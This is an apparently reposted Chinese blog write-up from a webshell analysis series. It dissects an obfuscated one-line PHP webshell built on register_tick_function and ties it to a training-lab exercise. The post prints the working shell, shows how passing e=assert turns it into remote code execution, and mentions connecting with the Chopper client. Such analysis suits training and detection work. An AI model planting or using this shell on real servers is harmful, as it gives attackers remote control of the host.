WebShell代码分析溯源
Posted 雨中落叶
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WebShell代码分析溯源相关的知识,希望对你有一定的参考价值。
WebShell代码分析溯源(十一)
一、一句话变形马样本
<?php $e = $_REQUEST[\'e\'];declare(ticks=1);register_tick_function ($e, $_REQUEST[\'GET\']);?>
二、代码分析
1、调整代码格式
2、分析代码
2.1、首先使用REQUEST方法接收url中e参数传递的值, 然后执行declare函数和register_tick_function回调函数。没执行ticks=1行代码,就执行一次register_tick_function函数中的代码。
注: register_tick_function函数,这是每个tick上注册一个执行函数,必须要和declare流程控制机制合并使用。Tick是一个在declare代码段中解释器每执行n条低级语句就会发生的事件。n的值是在declare中的directive部分用ticks=n来指定的,在每个tick中出现的事件是由register_tick_function()来指定的。
参考: https://www.php.net/manual/zh/function.register-tick-function.php
2.2、register_tick_function可以看做一个回调函数,第二个参数,就是为该回调的函数传参用的,因此可以构造e=assert,此时就变成了assert($_REQUEST[\'GET\'])。
三、漏洞环境搭建
1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第10题)),地址: https://www.mozhe.cn/bug/detail/b1gyYnp0MVRtVEpoWXV3TEtuMjZSZz09bW96aGUmozhe
2、代码环境,下载代码
3、分析(上面已经分析过了)
4、使用菜刀连接
5、执行一些命令
以上是关于WebShell代码分析溯源的主要内容,如果未能解决你的问题,请参考以下文章